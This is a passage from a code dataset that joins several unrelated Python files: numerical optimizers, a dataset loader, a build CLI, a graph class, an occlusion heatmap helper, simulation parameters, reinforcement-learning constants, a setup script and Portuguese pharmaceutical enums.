delta_u = step * self.problem.calc_deriative(u)\n u_new = u - delta_u\n delta_u = np.sqrt(delta_u.dot(delta_u))\n if self.verbose:\n print('iteration', iter + 1, '\\tnorm diff =', delta_u, '\\tfunctional =', self.problem.calc_functional(u))\n u = u_new\n if delta_u < self.tol:\n break\n return u\n\n\nclass NewtonsMethod():\n def __init__(self, num_of_points=10000, max_iter=1000, tol=1e-3, verbose=True, mode='const step'):\n self.num_of_points = num_of_points\n self.max_iter = max_iter\n self.step = step\n self.tol = tol\n self.verbose = verbose\n self.mode = mode\n\n def find_best_step(self, u, tol):\n left = 0.\n right = 1.\n return 1 # ToDo: finish\n\n def optimize(self):\n u = np.zeros(self.num_of_points)\n for iter in range(self.max_iter):\n if self.mode == 'const step':\n step = 1\n elif self.mode == 'fastest':\n step = self.find_best_step(u, 1e-4)\n else:\n raise TypeError('Unknown mode: ' + str(mode))\n delta_u = step * cho_solve(cho_factor(self.problem.calc_hessian(u)), self.problem.calc_deriative(u))\n u_new = u - delta_u\n delta_u = np.sqrt(delta_u.dot(delta_u))\n if self.verbose:\n print('iteration', iter + 1, '\\tnorm diff =', delta_u, '\\tfunctional =', self.problem.calc_functional(u))\n u = u_new\n if delta_u < self.tol:\n break\n return u\n\n\nclass SimplexMethod():\n def __init__(self):\n pass\n\n def optimize(self):\n ratings = -self.problem.c.astype('float')\n A = self.problem.A.astype('float')\n b = self.problem.b.astype('float')\n variables_permutation = np.empty(A.shape[1])\n # Assumption: there is already identity submatrix in last m columns\n variables_permutation = np.arange(A.shape[1])[-A.shape[0]:]\n\n decisive_col = np.argmin(ratings)\n while ratings[decisive_col] < -1e-6:\n print ('iter')\n # ToDo: think about devision by 0\n # change b vector\n b = b / A[:, decisive_col]\n values = b.copy()\n # find minimal positive value in b\n values[values <= 0] = float('inf')\n decisive_row = np.argmin(values)\n # Add variable in permutation\n variables_permutation[decisive_row] = decisive_col\n # save previous state of decisive column\n prev_col_values = A[:, decisive_col].copy()\n # make the decisive col unit\n A = A / prev_col_values[:, np.newaxis]\n # mask of nondecisive rows\n nondecisive_rows = np.zeros(self.problem.A.shape[0], dtype='bool')\n nondecisive_rows[decisive_row] = True\n nondecisive_rows = ~nondecisive_rows\n # make from decisive column a basis vector\n A[nondecisive_rows, :] -= A[decisive_row][np.newaxis, :]\n b[nondecisive_rows] -= b[decisive_row]\n # return previous values of nondecisive rows and support vector\n A[nondecisive_rows, :] *= prev_col_values[nondecisive_rows, np.newaxis]\n b[nondecisive_rows] *= prev_col_values[nondecisive_rows]\n # refresh vector of ratings\n ratings = ratings - A[decisive_row] * ratings[decisive_col]\n # find new decisive column\n decisive_col = np.argmin(ratings)\n res = np.zeros_like(ratings)\n res[variables_permutation[variables_permutation != -1]] = b[(variables_permutation != -1)[:b.size]]\n return res","sub_path":"Optimization/Optimization_in_hilbert_spaces/solvers.py","file_name":"solvers.py","file_ext":"py","file_size_in_byte":5191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"353426384","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Top-level package for mit-d3m.\"\"\"\n\n__author__ = \"\"\"MIT Data To AI Lab\"\"\"\n__email__ = 'dailabmit@gmail.com'\n__version__ = '0.1.2-dev'\n\nimport os\nimport shutil\nimport tarfile\n\nimport boto3\n\nfrom mit_d3m.dataset import D3MDS\nfrom mit_d3m.loaders import get_loader\nfrom mit_d3m.metrics import METRICS_DICT\n\nDATA_PATH = 'data'\nBUCKET = 'd3m-data-dai'\n\n\ndef download_dataset(bucket, dataset, root_dir):\n client = boto3.client('s3')\n\n print(\"Downloading dataset {}\".format(dataset))\n\n key = 'datasets/' + dataset + '.tar.gz'\n filename = root_dir + '.tar.gz'\n\n print(\"Getting file {} from S3 bucket {}\".format(key, bucket))\n client.download_file(Bucket=bucket, Key=key, Filename=filename)\n\n shutil.rmtree(root_dir, ignore_errors=True)\n\n print(\"Extracting {}\".format(filename))\n with tarfile.open(filename, 'r:gz') as tf:\n tf.extractall(os.path.dirname(root_dir))\n\n\ndef load_d3mds(dataset, force_download=False):\n if dataset.endswith('_dataset_TRAIN'):\n dataset = dataset[:-14]\n\n root_dir = os.path.join(DATA_PATH, dataset)\n\n if force_download or not os.path.exists(root_dir):\n if not os.path.exists(root_dir):\n os.makedirs(root_dir)\n\n download_dataset(BUCKET, dataset, root_dir)\n\n phase_root = os.path.join(root_dir, 'TRAIN')\n dataset_path = os.path.join(phase_root, 'dataset_TRAIN')\n problem_path = os.path.join(phase_root, 'problem_TRAIN')\n\n return D3MDS(dataset=dataset_path, problem=problem_path)\n\n\ndef load_dataset(dataset, force_download=False):\n\n d3mds = load_d3mds(dataset, force_download)\n\n loader = get_loader(\n d3mds.get_data_modality(),\n d3mds.get_task_type()\n )\n\n dataset = loader.load(d3mds)\n\n dataset.scorer = METRICS_DICT[d3mds.get_metric()]\n\n return dataset\n","sub_path":"mit_d3m/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"540597711","text":"#!/usr/bin/env python3\nimport argparse\nimport logging\nimport os\nimport pathlib\nimport sys\n\nfrom hb import commands\nfrom hb import rules\nfrom hb import settings\n\nverbosity_to_level = {\n 0: logging.CRITICAL,\n 1: logging.ERROR,\n 2: logging.WARNING,\n 3: logging.INFO,\n 4: logging.DEBUG,\n}\n\n\ndef main():\n \"\"\"main runs the hackafé build utility.\"\"\"\n parser = argparse.ArgumentParser(description='The Hackafé build utility')\n parser.add_argument(\n '-C', '--directory', type=pathlib.Path, metavar='dir', default=[], dest='chdir',\n action='append',\n help='Change to directory dir before reading the build/workspace files or '\n 'doing anything else. If multiple -C options are specified, each is interpreted '\n 'relative to the previous one: -C / -C etc is equivalent to -C /etc.')\n parser.add_argument('-v', '--verbose', default=0, action='count')\n\n args, rest = parser.parse_known_args()\n logging.basicConfig(\n format='%(levelname)s: %(message)s',\n level=verbosity_to_level.get(args.verbose, logging.DEBUG))\n\n settings.set('main_root', pathlib.Path(__file__).resolve().parent)\n logging.debug(settings.get('main_root'))\n\n settings.load_settings_file(settings.get('main_root') / 'settings.yaml')\n\n subparsers = parser.add_subparsers()\n commands.load_subcommands(subparsers, settings.get('commands'))\n\n args = parser.parse_args()\n\n for path in args.chdir:\n if path.is_dir():\n logging.info('Chdir %s', path)\n os.chdir(str(path))\n else:\n logging.critical('Cannot change directory to %s: not a directory', path)\n sys.exit(1)\n\n if hasattr(args, 'command'):\n logging.info('Executing command %s', args.command.name)\n args.command.execute(args)\n else:\n print('Please specify a command')\n parser.print_help()\n\nif __name__ == '__main__':\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"334827225","text":"from graph import Node, Queue\n\n\nclass Vertex:\n \"\"\"\n This is equivalent to a Node...\n \"\"\"\n def __init__(self, value):\n self.value = value\n\n\nclass Edge:\n \n def __init__(self, end_vertex, weight=1):\n self.vertex = end_vertex\n self.weight = weight\n\n\nclass Graph:\n \n def __init__(self):\n self.adjacency_list = {}\n\n\n def add_vertex(self, value):\n vertex = Vertex(value)\n self.adjacency_list[vertex] = []\n return vertex\n\n \n def add_edge(self, start_vertex, end_vertex, weight=1):\n \n # check if start and end vertices are in the adjency_list \n if start_vertex not in self.adjacency_list or end_vertex not in self.adjacency_list:\n raise KeyError('Start or End Vertex not in the graph')\n \n \n edge = Edge(end_vertex, weight)\n adjacencies = self.adjacency_list[start_vertex]\n adjacencies.append(edge)\n\n \n def size(self):\n return len(self.adjacency_list)\n\n \n def get_vertices(self):\n \"\"\"\n Returns all of the nodes in the graph as a collection (set, list, or similar)\n \"\"\"\n output = []\n \n for vertex in self.adjacency_list:\n output.append(vertex.value)\n\n return output\n\n def get_neighbours(self, vertex):\n \"\"\"\n Returns a collection of edges connected to the given node\n Takes in a given node\n Include the weight of the connection in the returned collection\n \"\"\"\n output = []\n \n if vertex in self.adjacency_list:\n for neighbour in self.adjacency_list[vertex]:\n output.append([neighbour.vertex.value, neighbour.weight])\n \n return output\n\n \n def breathfirst_graph(self, vertex):\n \n output = []\n\n vertices = self.get_neighbours(vertex)\n\n for item in vertices:\n output.append(item[0])\n \n \n return output\n\n\nif __name__ == \"__main__\":\n trip = Graph()\n city1 = trip.add_vertex('Seattle')\n city2 = trip.add_vertex('Portland')\n city3 = trip.add_vertex('San Francisco')\n city4 = trip.add_vertex('Salt Lake City')\n city5 = trip.add_vertex('Spokane')\n city6 = trip.add_vertex('Los Angeles')\n trip.add_edge(city1, city2, 10)\n trip.add_edge(city2, city1, 11)\n trip.add_edge(city2, city3, 12)\n trip.add_edge(city3, city2, 13)\n trip.add_edge(city3, city4, 14)\n trip.add_edge(city4, city3, 15)\n trip.add_edge(city4, city5, 16)\n trip.add_edge(city5, city4, 17)\n trip.add_edge(city5, city6, 18)\n trip.add_edge(city6, city5, 19)\n trip.add_edge(city3, city5, 20)\n trip.add_edge(city5, city3, 21)\n trip.add_edge(city1, city6, 22)\n trip.add_edge(city6, city1, 23)\n\n # print(trip.get_vertices())\n # print(trip.get_neighbours(city6))\n # print(trip.size())\n\nprint(trip.breathfirst_graph(city1))","sub_path":"python/challenges/breathfirst_graph/breathfirst_graph.py","file_name":"breathfirst_graph.py","file_ext":"py","file_size_in_byte":2953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"204134830","text":"import os\nimport random\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom tensorflow.keras import backend as K\nfrom tensorflow.keras.optimizers import SGD\nfrom tensorflow.keras.datasets import cifar10\nfrom tensorflow.keras.utils import to_categorical\nfrom tensorflow.keras.applications import MobileNet\nfrom sklearn.model_selection import train_test_split\nfrom tensorflow.keras.models import Sequential, Model\nfrom tensorflow.nn import sparse_softmax_cross_entropy_with_logits\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nfrom tensorflow.keras.applications.mobilenet import preprocess_input\n\n\ndef load_dataset():\n\tdf = pd.read_csv(\"cifar.csv\")\n\tprint(df.shape)\n\tgenerator = ImageDataGenerator(rescale=1. / 255)\n\n\tdata_gen = generator.flow_from_dataframe(\n\t\tdf, directory=None, x_col='image', y_col='label',\n\t\ttarget_size=(32, 32), color_mode='rgb', seed=30,\n\t\tclass_mode='categorical', batch_size=50, shuffle=False,\n\t\tsave_format='png', subset='training')\n\n\treturn data_gen, df\n\n\n# Create function to apply a grey patch on an image\ndef apply_grey_patch(image, top_left_x, top_left_y, patch_size):\n\tpatched_image = np.array(image, copy=True)\n\tpatched_image[top_left_y:top_left_y + patch_size, top_left_x:top_left_x + patch_size, :] = 127.5\n\treturn patched_image\n\n\ndef occlusion(model, img_num=10, patch_size=4):\n\t# Load image from the test data\n\tdata_gen, df = load_dataset()\n\tcifar_dict = {0: 'airplane', 1: 'automobile', 2: 'bird', 3: 'cat', 4: 'deer',\n\t\t\t\t 5: 'dog', 6: 'frog', 7: 'horse', 8: 'ship', 9: 'truck'}\n\n\tnum = img_num\n\n\tif num > 49:\n\t\tnum = 1\n\n\t# Get image \n\timg = data_gen[0][0][num]\n\n\t# Get label\n\ty_test = data_gen[0][-1]\n\n\t# Get the patch size for occlusion\n\tPATCH_SIZE = patch_size\n\n\t# Get the loss of the model with the original image\n\tloss = model.evaluate(img.reshape(-1, 32, 32, 3), y_test[num].reshape(-1, 10), verbose=0)\n\n\t# Define a numpy array to store the loss differences\n\tloss_map = np.zeros((img.shape[0], img.shape[1]))\n\n\t# Iterate the patch over the entire image\n\tfor top_left_x in range(0, img.shape[0], PATCH_SIZE):\n\n\t\tfor top_left_y in range(0, img.shape[1], PATCH_SIZE):\n\t\t\t# Initialise a new patched image\n\t\t\tpatched_image = apply_grey_patch(img, top_left_x, top_left_y, PATCH_SIZE)\n\n\t\t\t# Get the loss of the model for each patched version\n\t\t\tresult = model.evaluate(patched_image.reshape(-1, 32, 32, 3), y_test[num].reshape(-1, 10), verbose=0)\n\n\t\t\t# Get the loss_map of the plot by computing the difference in loss from the original version to the patched value\n\t\t\tloss_map[top_left_y:top_left_y + PATCH_SIZE, top_left_x:top_left_x + PATCH_SIZE] = loss[0] - result[0]\n\n\t# Get the predicted label\n\ty_prob = model.predict(img.reshape(-1, 32, 32, 3))\n\ty_pred = cifar_dict[np.argmax(y_prob)]\n\n\t# Get true label\t\n\ty_true = cifar_dict[int(np.where(y_test[num] == 1)[0])]\n\n\t# Plot the original image along with the difference in loss as a heatmap\n\tfig, ax = plt.subplots(1, 2, figsize=(15, 15))\n\n\tplt.figure(num=None, figsize=(8, 6), dpi=100, facecolor='w', edgecolor='k')\n\tax[0].imshow(img)\n\tax[1].imshow(img, cmap='gray')\n\tim = ax[1].imshow(loss_map, cmap='Reds', alpha=0.3)\n\tfig.colorbar(im, fraction=0.05)\n\tax[0].set_title(\"True Label: \" + y_true.upper(), fontsize=15)\n\tax[1].set_title(\"Predicted label with patch size \" + str(PATCH_SIZE) + \": \" + y_pred.upper(), fontsize=15)\n","sub_path":"content/lectures/lecture16/notebook/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"468949356","text":"# -*- coding: utf-8 -*-\n\n\n###########################\n# Loading Type\n###########################\n\nloading_type = 'Imposed Force'\n#loading_type = 'Imposed Displacement'\n\n############################\n# Material\n############################\n#-----------------------\n# Elasticity parameters\n#-----------------------\n\nEYoung = 210000.0\nnuPoisson = 0.3\nEYoung_Rigid = 100 * EYoung \n\nC11 = 197000.0\nC12 = 144000.0\nC44 = 90000.0\n\n#----------------------------------\n# Plasticity parameters \n#----------------------------------\nR0 = 500.0\n# Kinematic Hardening\nC1 = 75000.0\nGamma1 = 250.0\n# Isotropic Hardening\nQinf = 5.0\nb = 25.0\n\n'''\n# Parameters used by François Brugier\n\nEYoung = 206000.\nEYoung_Rigid = 100 * EYoung \nnuPoisson = 0.3\nR0 = 1411.\nC1 = 4080.\nGamma1 = 8.\nQinf \t = 1.\nb \t = 1.\n'''\n\n#\n# classes used to stock parameters\n#\n\n\nclass Elastic():\n\tdef __init__(self, eType = 'orthotropic'):\n\t\tself.eType = eType\n\t\tself.ElasticRigidValue = (EYoung_Rigid,nuPoisson)\n\t\tif self.eType == 'orthotropic':\n\t\t\tself.ElasticValue = (C11,C12,C11,C12,C12,C11,C44,C44,C44)\n\t\t\tself.Angle = alpha\n\t\telif self.eType == 'isotropic':\n\t\t\tself.ElasticValue = (EYoung, nuPoisson)\n\t\telse:\n\t\t\tprint('Error in Elasticity Type')\n\nclass Plastic():\n\tdef __init__(self, pType = 'nonlinear-combined-hardening'):\n\t\tself.pType = pType\n\t\tif self.pType == 'nonlinear-combined-hardening':\n\t\t\tself.NonLinKinHardValue = (R0, C1, Gamma1)\n\t\t\tself.NonLinIsoHardValue = (R0, Qinf, b )\n\t\telif self.pType == 'nonlinear-kinematic-hardening':\n\t\t\tself.NonLinKinHardValue = (R0, C1, Gamma1)\n\t\telif self.pType == 'linear-isotropic-hardening':\n\t\t\tself.LinIsoHardValue = ((R0, 0.0), (R0+20, 0.2))\n\t\telif self.pType == 'linear-kinematic-hardening':\n\t\t\tself.LinKinHardValue = ((R0, 0.0), (R0+20, 0.2))\n\t\telif self.pType != 'none' :\n\t\t\tprint ('Error in Plasticity Type')\n\n\nclass Container(object):\n def __init__(self):\n pass\n\n\n#---------------------------------------------------------------------------------\n# Call functions\n#---------------------------------------------------------------------------------\n\nsrcFile = os.path.join(compSrc, 'moveFiles_func.py')\nexecfile(srcFile)\n\nsrcFile = os.path.join(compSrc,'Material_Definition.py')\nexecfile(srcFile)\n\nsrcFile = os.path.join(compSrc,'Compute.py')\nexecfile(srcFile)\n\nsrcFile = os.path.join(compSrc,'Random_EL_Compute.py')\nexecfile(srcFile)\n\nsrcFile = os.path.join(compSrc,'Generate_names.py')\nexecfile(srcFile)\n\nsrcFile = os.path.join(compSrc,'Field_Capture.py')\nexecfile(srcFile)\n\nsrcFile = os.path.join(compSrc,'PEEQ_Verification.py')\nexecfile(srcFile)\n\nsrcFile = os.path.join(compSrc,'K_nominals_Extraction.py')\nexecfile(srcFile)\n\nsrcFile = os.path.join(compSrc,'SIF_To_Force.py')\nexecfile(srcFile)\n\n\n\n\n","sub_path":"Code_for_Loading_Range/Input_Computation.py","file_name":"Input_Computation.py","file_ext":"py","file_size_in_byte":2780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"631494909","text":"\"\"\"\n\nDeep Learning - Assignment #2:\n- Snake Game - Deep Reinforcement Learning\n\nIntegrated Master of Computer Science and Engineering\n\nNOVA School of Science and Technology,\nNOVA University of Lisbon - 2020/2021\n\nAuthors:\n- Rodrigo Jorge Ribeiro (rj.ribeiro@campus.fct.unl.pt)\n- Ruben Andre Barreiro (r.barreiro@campus.fct.unl.pt)\n\nInstructor(s):\n- Ludwig Krippahl (ludi@fct.unl.pt)\n- Claudia Soares (claudia.soares@fct.unl.pt)\n\nSnake Agent Module for the the Project\n\n\"\"\"\n\n# Import the Libraries and Packages\n\n# Import the Operative System Library as operative_system\nimport os as operative_system\n\n# Disable all the Debugging Logs from TensorFlow Library\noperative_system.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\n# Import the Multi-Processing Python's Module as multiprocessing alias\nimport multiprocessing as multiprocessing\n\n# Import the Tensorflow as Tensorflow alias Python's Module\nimport tensorflow as tensorflow\n\n\n# Constants\n\n# The boolean flag, to keep information about\n# the use of High-Performance Computing (with CPUs and GPUs)\nTENSORFLOW_KERAS_HPC_BACKEND_SESSION = True\n\n# The Number of CPU's Processors/Cores\nNUM_CPU_PROCESSORS_CORES = multiprocessing.cpu_count()\n\n# The Number of GPU's Devices\nNUM_GPU_DEVICES = len(tensorflow.config.list_physical_devices(\"GPU\"))\n\n# The time for sleep, in seconds\nSLEEP_TIME_SECS = 0\n\n# The Maximum Memory capacity for the Snake Agent\nMAX_MEMORY = 100000\n\n# The Number of Games (Training Episodes)\nNUM_GAME_TRAINING_EPISODES = 30000\n\n# The initial value for the Epsilon variable for the Randomness used to,\n# decide about Exploration and Exploitation\nINITIAL_EPSILON_RANDOMNESS = 1\n\n# The Maximum value for the Epsilon variable for the Randomness used to,\n# decide about Exploration and Exploitation\nMAXIMUM_EPSILON_RANDOMNESS = 1\n\n# The Minimum value for the Epsilon variable for the Randomness used to,\n# decide about Exploration and Exploitation\nMINIMUM_EPSILON_RANDOMNESS = 0.1\n\n# The Decay Factor to adjust the value for\n# the Epsilon variable for the Randomness used to,\n# decide about Exploration and Exploitation\nDECAY_FACTOR_EPSILON_RANDOMNESS = ((INITIAL_EPSILON_RANDOMNESS - MINIMUM_EPSILON_RANDOMNESS) / NUM_GAME_TRAINING_EPISODES * 0.5)\n\n# The Gamma (Discount Reward) for the Q-Learning Algorithm\nGAMMA_DISCOUNT_FACTOR = 0.95\n\n# The size of the Batch of Examples of Observations\nBATCH_SIZE = 50\n\n# The List of Distances available to use for\n# the Heuristics for the pool of examples\nAVAILABLE_DISTANCES_LIST = [\"EUCLIDEAN_NORM\", \"MANHATTAN\"]\n\n# The Distance being currently used for\n# the Heuristics for the pool of examples\nDISTANCE_USED = AVAILABLE_DISTANCES_LIST[1]\n\n# The List of Optimisers available to use for\n# the CNN (Convolutional Neural Network) Model\nAVAILABLE_OPTIMISERS_LIST = [\"SGD\", \"RMSPROP\", \"ADAM\", \"ADAGRAD\", \"ADADELTA\", \"ADAMAX\"]\n\n# The Number of Optimisers available to use for\n# the CNN (Convolutional Neural Network) Model\nNUM_AVAILABLE_OPTIMISERS = len(AVAILABLE_OPTIMISERS_LIST)\n\n# The Learning Rates for the Optimisers used for\n# the CNN (Convolutional Neural Network) Model\nINITIAL_LEARNING_RATES = [0.005, 0.0005, 0.001, 0.012, 0.25, 0.001]\n\n# The List of Kernel Sizes to use,\n# in the CNN (Convolutional Neural Network) Model\nKERNEL_SIZES_LIST = [8, 4]\n\n# The List of Strides to use,\n# in the CNN (Convolutional Neural Network) Model\nSTRIDES_LIST = [4, 2]\n","sub_path":"game/others/parameters_arguments.py","file_name":"parameters_arguments.py","file_ext":"py","file_size_in_byte":3350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"58978806","text":"def findSmallest(arr, ind):\n smallest = arr[ind]\n while ind < len(arr):\n if arr[ind] < arr[smallest]:\n smallest = ind\n return smallest\n\ndef selectionSort(arr):\n ptr = -1\n while ptr != len(arr)-1:\n smallest = findSmallest(arr, ptr+1)\n arr[ptr+1], arr[smallest] = arr[smallest], arr[ptr+1]\n ptr+=1\n return\n\n# O(1) space\n# O(n^2) time","sub_path":"AlgoExpert/selectionSort.py","file_name":"selectionSort.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"529141043","text":"# Copyright (C) 2008-2013 W. Trevor King \n#\n# This file is part of calibcant.\n#\n# calibcant is free software: you can redistribute it and/or modify it under\n# the terms of the GNU General Public License as published by the Free Software\n# Foundation, either version 3 of the License, or (at your option) any later\n# version.\n#\n# calibcant is distributed in the hope that it will be useful, but WITHOUT ANY\n# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR\n# A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License along with\n# calibcant. If not, see .\n\n\"calibcant: tools for thermally calibrating AFM cantilevers\"\n\npackage_name = 'calibcant'\nclassifiers = \"\"\"\\\nDevelopment Status :: 2 - Pre-Alpha\nIntended Audience :: Developers\nIntended Audience :: Science/Research\nOperating System :: POSIX\nOperating System :: Unix\nLicense :: OSI Approved :: GNU General Public License (GPL)\nProgramming Language :: Python\nTopic :: Scientific/Engineering\nTopic :: Software Development :: Libraries :: Python Modules\n\"\"\"\n\nfrom distutils.core import setup\nfrom os import walk, listdir\nimport os.path\n\nfrom calibcant import __version__\n\n\ndef find_packages(root='calibcant'):\n packages = []\n prefix = '.'+os.path.sep\n for dirpath,dirnames,filenames in walk(root):\n if '__init__.py' in filenames:\n if dirpath.startswith(prefix):\n dirpath = dirpath[len(prefix):]\n packages.append(dirpath.replace(os.path.sep, '.'))\n return packages\n\npackages = find_packages()\nscripts = [os.path.join('bin', f) for f in sorted(os.listdir('bin'))]\n\nsetup(name=package_name,\n version=__version__,\n maintainer='W. Trevor King',\n maintainer_email='wking@tremily.us',\n url='http://blog.tremily.us/posts/%s/' % package_name,\n download_url='http://git.tremily.us/?p=calibcant.git;a=snapshot;h={};sf=tgz'.format(__version__),\n license='GNU General Public License (GPL)',\n platforms=['all'],\n description=__doc__,\n long_description=open('README', 'r').read(),\n classifiers=filter(None, classifiers.split('\\n')),\n packages=packages,\n scripts=scripts,\n provides=['calibcant (%s)' % __version__],\n requires=['pypiezo (>= 0.5)'],\n )\n","sub_path":"pypi_install_script/calibcant-0.9.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"441893770","text":"from enum import Enum\n\n\nclass Tarja(Enum):\n tipo = 'Tarja:'\n sem_tarja = 'Sem Tarja'\n vermelha = 'Vermelha'\n vermelharest = 'Vermelha restr.'\n preta = 'Preta'\n\n @classmethod\n def list_names(cls):\n lista = [member.value for member in cls]\n return lista\n\n @classmethod\n def list_names_kivy(cls):\n lista = [{'text': member.value} for member in cls]\n return lista\n\n\nclass FormaFarmaceutica(Enum):\n choice = ('Forma Farmaceutica:', \"\")\n adesivo = (\"ADESIVO\", \"ADES\")\n anel = (\"ANEL\", \"ANEL\")\n barra = ('BARRA', \"BAR\")\n bastao = (\"BASTÃO\", \"BAST\")\n capsula = ('CÁPSULA', \"CAP\")\n comprimido = ('COMPRIMIDO', \"COM\")\n diu = ('DIU', \"DIU\")\n filme = ('FILME', \"FIL\")\n globulo = ('GLÓBULO', \"GLOB\")\n goma = ('GOMA DE MASCAR', \"GOMA\")\n granulado = ('GRANULADO', \"GRAN\")\n implante = ('IMPLANTE', \"IMPL\")\n pastilha = ('PASTILHA', \"PAS\")\n po = ('PÓ', \"PO\")\n rasura = ('RASURA', \"RAS\")\n sabonete = ('SABONETE', \"SAB\")\n supositorio = ('SUPOSITÓRIO', \"SUP\")\n tablete = ('TABLETE', \"TABLE\")\n emulsao = ('EMULSÃO', \"EMU\")\n esmalte = ('ESMALTE', \"ESM\")\n espuma = ('ESPUMA', \"ESP\")\n liquido = ('LÍQUIDO', \"LIQ\")\n oleo = (\"ÓLEO\", \"OLE\")\n saboneteliqd = ('SABONETE LIQUIDO', \"SAB LIQ\")\n solucao = ('SOLUÇÃO', \"SOL\")\n colutorio = ('COLUTÓRIO', \"COL\")\n elixir = ('ELIXIR', \"ELX\")\n suspencao = ('SUSPENÇÃO', \"SUS\")\n xampu = ('XAMPU', \"XAMP\")\n xarope = ('XAROPE', \"XPE\")\n creme = ('CREME', \"CREM\")\n emplasto = ('EMPLASTO', \"EMPL\")\n gel = ('GEL', \"GEL\")\n pomada = ('POMADA', \"POM\")\n gas = ('GÁS', \"GAS\")\n\n @classmethod\n def list_names(cls):\n lista = [member.value[0] for member in cls]\n return lista\n\n @classmethod\n def list_abreviacao(cls):\n lista = [member.value[1] for member in cls]\n return lista\n\n @classmethod\n def list_names_kivy(cls):\n lista = [{'text': member.value[0]} for member in cls]\n return lista\n\n\nclass ClasseTerapeutica(Enum):\n nenhum = \"Classe Terapeutica:\"\n A02A = 'Antiácidos'\n A02D = 'Antiflatulentes'\n A02X = \"Outros antiacidos event medicamentos para ulcera event da \" \\\n \"flatulencia\"\n Analgesico = 'Analgésicos'\n Anestesico = 'Anestésicos'\n Anorexigeno = 'Anorexigenos'\n Ansiolitico = 'Ansiolíticos'\n a_hemor = 'Anti-hemorrágicos'\n a_hiperten = 'Anti-hipertensivos'\n a_histam = 'Anti-histamínicos'\n a_infne = 'Anti-inflamatórios não esteróides'\n a_agreg = 'Antiagregantes'\n a_anemic = 'Antianemicos'\n a_arritm = 'Antiarritmicos'\n a_asmat = 'Antiasmáticos'\n a_biotic = 'Antibióticos'\n a_coagul = 'Anticoagulantes'\n a_colica = 'Anticólica'\n a_concep = 'Anticoncepcionais'\n a_convul = 'Anticonvulsivantes'\n a_depres = 'Antidepressivos'\n a_diabet = 'Antidiabéticos'\n A03A = \"Antiespasmodicos event anticolinérgicos sintéticos\"\n A03C = \"Antiespasmodicos em associação com psicolépticos\"\n A03D = \"Antiespasmodicos em associação com analgésicos\"\n A03B = \"Beladona event derivados simples\"\n A03F = \"Propulsivos\"\n A07 = 'Antidiarreicos'\n A07A = 'Antiinfeciosos intestinais'\n A07C = 'Elactrólitos com hidratos de carbono'\n A07D = 'Antiprupulsivos'\n A07E = 'Antiinflamatórios instestinais'\n A07F = 'Microorganismos antidiarréicos'\n A08 = 'Preparados antiobesidade, excluindo dietéticos'\n A04 = 'Antieméticos event Antinauseantes'\n A05A = 'Terapêutica Biliar'\n A05B = 'Terapêutica hepática lipotrópicos'\n A05C = 'Medicamentos para Terapêutica biliar event hepática ' \\\n 'associados'\n A10A = \"Insulinas\"\n a_fungic = 'Antifúngicos'\n a_grips = 'Antigripais'\n a_inftop = 'Anti-inflamatorio Topico'\n a_lipem = 'Antilipemicos'\n a_lipemrc = 'Antilipemicos - Redutores do colesterol'\n a_mico = 'Antimicoticos'\n a_micos = 'Antimicoticos Sistemicos'\n a_micot = 'Antimicoticos Topicos'\n a_paras = 'Antiparasitários'\n a_park = 'Antiparkinsonianos'\n a_piret = 'Antipiréticos'\n a_psic = 'Antipsicóticos'\n a_sept_or = 'Antissepticos Orais'\n a_termic = 'Antitérmicos'\n a_tuss = 'Antitussígenos'\n a_ulcer = 'Antiulcerosos'\n a_varic = 'Antivaricosos'\n a_vertig = 'Antivertiginosos'\n A11B = \"Multivitaminas, associação\"\n A11C = \"Multivitaminas, simples\"\n A13 = \"Tonicos\"\n a_virais = 'Antivirais'\n ativador = 'Ativadores do Metabolismo Cerebral'\n benzod = 'Benzodiazepinas'\n betab = 'Betabloqueadores'\n bifosf = 'Bifosfonatos'\n broncod = 'Broncodilatadores'\n cardiot = 'Cardiotônicos'\n cicatriz = 'Cicatrizantes'\n coenzim = 'Coenzimas'\n cortic = 'Corticóides'\n cortic_s = 'Corticosteroides Sistemicos'\n cortic_t = 'Corticosteroides Topicos'\n Defatig = 'Defatigantes'\n descong = 'Descongestionantes nasais'\n diuret = 'Diuréticos'\n eletrol = 'Eletrolitos'\n A09 = 'Digestivos, incluindo Enzimas'\n pancreas = 'Pancreáticas'\n A15 = 'Estimulantes do Apetite'\n A16 = 'outros produtos para as vias digestivas event metabolismo'\n estimul_r = 'Estimulantes respiratórios'\n expect = 'Expectorantes'\n fitot = 'Fitoterápicos'\n sangue = 'Frações do sangue ou plasma exceto gamaglobulina'\n hepato = 'Hepatoprotetores'\n higien = 'Higiene'\n hipono = 'Hipnóticos'\n hipogli = 'Hipoglicemiantes Orais'\n homeop = 'Homeopáticos'\n hormon = 'Hormônios'\n imunomod = 'Imunomoduladores'\n imunosup = 'Imunossupressores'\n indutor = 'Indutores do Sono'\n A06 = 'Laxativos'\n manuart = 'Manutenção das articulações'\n mucol = 'Mucolíticos'\n neurole = 'Neurolepticos'\n plaquet = 'Plaquetarios'\n possos = 'Problemas ósseos'\n psico = 'Psicoanalépticos'\n relax 